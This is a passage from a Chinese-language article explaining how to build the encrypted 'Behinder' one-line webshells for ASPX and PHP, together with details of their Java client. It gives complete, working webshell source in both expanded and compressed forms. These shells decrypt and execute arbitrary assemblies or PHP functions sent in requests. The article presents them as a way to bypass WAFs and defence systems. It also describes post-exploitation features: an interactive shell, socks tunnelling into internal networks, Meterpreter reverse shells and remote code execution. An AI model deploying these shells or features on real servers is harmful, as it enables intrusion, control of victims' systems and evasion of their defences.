- byte[] decryptContent = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(key, key).TransformFinalBlock(content, 0, content.Length); System.Reflection.Assembly.Load(decryptContent).CreateInstance("Payload").Equals("");
4. 改进一下
上一篇中提到,我们的目标是在Payload的Equals方法中取到Request、Response、Session等和Http请求强相关的对象。在Java中,我们是通过给Equals传递pageContext内置对象的方式来获得,在aspx中,则更简单,只需要传递this指针即可。
经过分析发现,aspx页面中的this指针类型为System.Web.UI.Page,该类表示一个从托管 ASP.NET Web 应用程序的服务器请求的 .aspx 文件,幸运的是,和Http会话相关的对象,都可以通过Page对象访问到,如HttpRequest Request=(System.Web.UI.Page)obj.Request。
我们只需要把:
System.Reflection.Assembly.Load(decryptContent).CreateInstance("Payload").Equals("");
改成:
System.Reflection.Assembly.Load(decryptContent).CreateInstance("Payload").Equals(this);
即可实现在Payload中操作Request、Response、Session、Server等等。
5. 完整代码
- <%@ Page Language="C#" %>
- <%
- if (Request["pass"]!=null)
- {
- Session.Add("key", Guid.NewGuid().ToString().Replace("-", "").Substring(16)); Response.Write(Session[0]); return;
- }
- byte[] key = Encoding.Default.GetBytes(Session[0] + "");
- byte[] content = Request.BinaryRead(Request.ContentLength);
- byte[] decryptContent = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(key, key).TransformFinalBlock(content, 0, content.Length);
- System.Reflection.Assembly.Load(decryptContent).CreateInstance("Payload").Equals(this);
- %>
为了增加可读性,我对上述代码做了一些扩充,简化一下就是下面这一行:
<%@ Page Language="C#" %><%if (Request["pass"]!=null){ Session.Add("k", Guid.NewGuid().ToString().Replace("-", "").Substring(16)); Response.Write(Session[0]); return;}byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);System.Reflection.Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>
当然如果去掉动态加密而只实现传统一句话木马的功能的话,可以再精简一下,如下:
<%@ Page Language="C#" %><%if (Request["pass"]!=null)System.Reflection.Assembly.Load(Request.BinaryRead(Request.ContentLength)).CreateInstance("U").Equals(this);%>
至此,具有动态解密功能的、能解析执行任意二进制流的新型aspx一句话木马就完成了。
由于Java、.net、php三个版本是公用一个客户端,且其中多个模块可以实现复用,为了节省篇幅,此处就不再介绍重叠的部分,只针对.net平台特异化的部分介绍一下。
1. 远程获取加密密钥
详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。
2. 动态生成二进制字节数组
为了实现客户端跨平台使用,我们的客户端采用Java语言编写,因此就无法动态编译C#的dll文件。而是在windows平台把C#版本的Payload编译成dll文件,然后以资源文件的形式嵌入至客户端。
3. 已编译类的参数化
既然上文已经提及,我们无法在Java环境中去动态修改.net的类文件来动态修改Payload中的参数。那我们就只能在Payload本身代码中想办法了。
.NET的System.Reflection.Assembly.Load在解析COFF可执行文件时有一个特性,那就是它在解析时会自动忽略COFF文件尾部附加的额外数据。聪明的你应该想到怎么样把参数动态传到Payload了。
请看下图:
服务端取参数的实现代码如下:
- private void fillParams()
- {
- this.Request.InputStream.Seek(0, 0);
- byte[] fullData = Request.BinaryRead(Request.ContentLength);
- byte[] key = System.Text.Encoding.Default.GetBytes(Session[0] + "");
- fullData = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(key, key).TransformFinalBlock(fullData, 0, fullData.Length);
- Dictionary<string, object> extraMap = getExtraData(fullData);
- if (extraMap != null)
- {
- foreach (var f in extraMap)
- {
- this.GetType().GetField(f.Key).SetValue(this, f.Value);
- }
- }
- }
- private Dictionary<string, object> getExtraData(byte[] fullData)
- {
- Request.InputStream.Seek(0, 0);
- int extraIndex = IndexOf(fullData, new byte[] { 0x7e, 0x7e, 0x7e, 0x7e, 0x7e, 0x7e });
- byte[] extraData = new List<byte>(fullData).GetRange(extraIndex + 6, fullData.Length - extraIndex - 6).ToArray();
- String extraStr = System.Text.Encoding.Default.GetString(extraData);
- System.Web.Script.Serialization.JavaScriptSerializer serializer = new System.Web.Script.Serialization.JavaScriptSerializer();
- Dictionary<string, object> extraMap = serializer.Deserialize
string, object>>(extraStr); - return extraMap;
-
- }
- internal int IndexOf(byte[] srcBytes, byte[] searchBytes)
- {
- int count = 0;
- if (srcBytes == null) { return -1; }
- if (searchBytes == null) { return -1; }
- if (srcBytes.Length == 0) { return -1; }
- if (searchBytes.Length == 0) { return -1; }
- if (srcBytes.Length < searchBytes.Length) { return -1; }
- for (int i = 0; i < srcBytes.Length - searchBytes.Length; i++)
- {
- if (srcBytes[i] == searchBytes[0])
- {
- if (searchBytes.Length == 1) { return i; }
- bool flag = true;
- for (int j = 1; j < searchBytes.Length; j++)
- {
- if (srcBytes[i + j] != searchBytes[j])
- {
- flag = false;
- break;
- }
- }
- if (flag)
- {
- count++;
- if (count == 2)
- return i;
- }
- }
- }
- return -1;
- }
通过这种方式,我们就可以在Java环境中动态获取参数化的DLL字节流。
4. 加密payload
详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。
5. 发送payload,接收执行结果并解密。
详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。
下面我找了一个测试站点来演示一下绕过防御系统的效果:
首先我上传一个常规的aspx一句话木马,然后用菜刀客户端连接,如下图,连接直接被防御系统reset了:
然后上传我们的新型一句话木马,并用响应的客户端连接,可以成功连接并管理目标系统:
得益于PHP语言的灵活性、松散性,现有的PHP一句话木马存在很多个版本,为了躲避杀毒软件和waf,php的一句话木马变形起来可以说是脑洞大开,精妙绝伦。下面我们来打造一个基于纯二进制流量的PHP一句话木马。当然,我们可以采用的方法远不止这一种,可以在此基础上衍生出各种变形。
和Java和.NET不同,PHP并不存在手动编译的过程,开发人员只要提供PHP源代码,然后PHP会自己把源代码编译为opcode,由Zend引擎来解析opcode。因为不存在编译的中间环节,当然也就不存在已编译的二进制类文件。所以这里我们要转变一下思路,在具体实现之前我们先看一个PHP的特性“可变函数”,官方描述为:PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。下面看具体实现,直接上代码吧(为了增加可读性,我对代码进行了一些扩充):
- session_start();
- if (isset($_GET['pass']))
- {
- $key=substr(md5(uniqid(rand())),16);
- $_SESSION['k']=$key;
- print $key;
- }
- else
- {
- $key=$_SESSION['k'];
- $decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
- $arr=explode('|',$decrptContent);
- $func=$arr[0];
- $params=$arr[1];
- $func($params);
- }
- ?>
简单解释一下流程:
压缩一下:
session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&$b[0]($b[1]);?>
或者:
session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&call_user_func($b[0],$b[1]);?>
由于Java、.net、php三个版本是公用一个客户端,且其中多个模块可以实现复用,为了节省篇幅,此处就不再介绍重叠的部分,只针对PHP平台特异化的部分介绍一下。
1.远程获取加密密钥
详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。
2.动态生成二进制字节数组
如前文所述,PHP版本的Payload是直接用PHP源代码的形式来编写,样式如下:assert|eval(Payload)。然后取字符串的字节流,为后续的加密做准备。。
3.已编译类的参数化
为了实现参数化,客户端对PHP的Payload做了一个内部约定,Payload的格式应为function main(arg1…argN){} main(arg1…argN);
比如一个最简单的命令执行的Payload:
- function main(cmd)
- {
- echo system(cmd);
- }
- main('whoami');
当然开发Payload的时候,我们只要专门写函数就行了,后面main函数的调用和参数填充,是由客户端程序自动实现的,相关代码如下:
- public static byte[] getParamedPhp(String clsName, final Map<String, String> params) throws Exception {
- String basePath="net/rebeyond/behinder/payload/php/";
- String payloadPath=basePath+clsName+".php";
- StringBuilder code=new StringBuilder();
- ByteArrayInputStream bis = new ByteArrayInputStream(Utils.getResourceData(payloadPath));
- ByteArrayOutputStream bos = new ByteArrayOutputStream();
- int b;
- while (-1 != (b = bis.read()))
- bos.write(b);
- bis.close();
- code.append(bos.toString());
- String paraList="";
- for (String paraName : params.keySet()) {
-
- String paraValue = params.get(paraName);
-
- code.append(String.format("$%s=\"%s\";", paraName,paraValue));
- paraList+=",$"+paraName;
- }
- paraList=paraList.replaceFirst(",", "");
- code.append("\r\nmain("+paraList+");");
- return code.toString().getBytes();
- }
4.加密payload
将上一步中getParamedPhp函数返回的Payload源代码字符串的字节流,利用握手请求产生的密钥进行AES加密,详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。
5.发送payload,接收执行结果并解密
详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。
下面我找了一个测试站点来演示一下绕过防御系统的效果:
首先我上传一个常规的PHP一句话木马,然后用菜刀客户端连接,如下图,连接直接被防御系统reset了:
然后上传我们的新型一句话木马,并用响应的客户端连接,可以成功连接并管理目标系统:
在分别实现了Java、.net、PHP三个版本的新型一句话木马,也针对不同版本编程语言的特点,对客户端的差异化部分做了简单的介绍。
下面就把客户端的功能再简单介绍一下,就当是README.MD了,客户端暂时取名为冰蝎,采用Java+SWT开发,支持Windows、Linux、MacOS(Mac系统需通过-XstartOnFirstThread参数执行),主要功能如下:
客户端和服务端握手之后,会获取服务器的基本信息,Java、.NET版本包括环境变量、系统属性等,PHP版本会显示phpinfo的内容。
这个没什么好说的,无非是文件的增删改查,稍微不同的是上传的文件都是加密传输的,可以避免被拦截。
执行单条操作系统命令。
虚拟终端是模拟了一个真实的交互式Shell环境,相当于把服务器侧的Shell给搬到了客户端,在这个Shell里可以执行各种需要交互式的命令,如ssh、mysql。比如说:我们可以在这个Shell里去ssh连接服务器侧内网的其他主机,可以参考下面这个动图:
当然,如果你习惯powershell,也可以弹个powershell出来,如下图:
虚拟终端功能其实就已经部分实现了内网穿透的能力,在Shell环境里做的所有事情都是在内网环境中的。不过为了方便使用其他工具,客户端还提供了基于一句话木马的Socks代理功能,一键开启,简单高效,可以参考如下动图:
编辑顺便说一下,代理过程中所有的流量都是在socks的基础上封装了一层AES。
反弹Shell是突破防火墙的利器,也几乎是后渗透过程的必备步骤。提到后渗透,当然少不了metasploit,提到metasploit,当然少不了meterpreter,所以冰蝎客户端提供了两种反弹Shell的方式,常规Shell和Meterpreter,实现和metasploit的一键无缝对接。请参考如下动图:
上图演示的是Meterpreter,当然常规的Shell也可以对接metasploit,就不演示了。
常规功能,实现了数据库的可视化管理,放张截图吧:
和常规管理工具不同的是,在Java和.NET环境中,当目标机器中没有对应数据库的驱动时,会自动上传并加载数据库驱动。比如目标程序用的是MySQL的数据,但是内网有另外一台Oracle,此时就会自动上传并加载Oracle对应的驱动。
可以在服务端执行任意的Java、PHP、C#代码,这也是个常规功能,值得一提的是我们输入的代码都是加密传输的,所以不用为了躲避waf而用各种编码变形,效果请参考如下动图:
9.备忘录
渗透的时候总有很多零碎的信息需要记录,所以针对每个Shell提供了一个备忘录的功能,目前只支持纯文本,粘贴进去自动保存:
官网请参考:
GitHub - rebeyond/Behinder: “冰蝎”动态二进制加密网站管理客户端
客户端:jre8+
服务端:.net 2.0+;php 5.3-7.4;java 6+
直接用浏览器访问shell会报错?
客户端附带的服务端为最简版本,没有做容错处理,所以直接浏览器访问可能会报错,但是不影响客户端正常连接。如果不介意服务端体积增加几个字节,可以自己加一些容错判断语句。
我可以对shell进行修改么?
客户端附带的服务端可以进行各种变形,只要基本逻辑不变,客户端即可正常连接。
开了socks代理,但是服务器并没有开启代理端口?
socks代理的端口不是开在远程服务器上的,是开在本地的,利用socks客户端直接连接本地IP的代理端口即可,冰蝎会把本地端口的流量通过http隧道透传至远程服务器网络。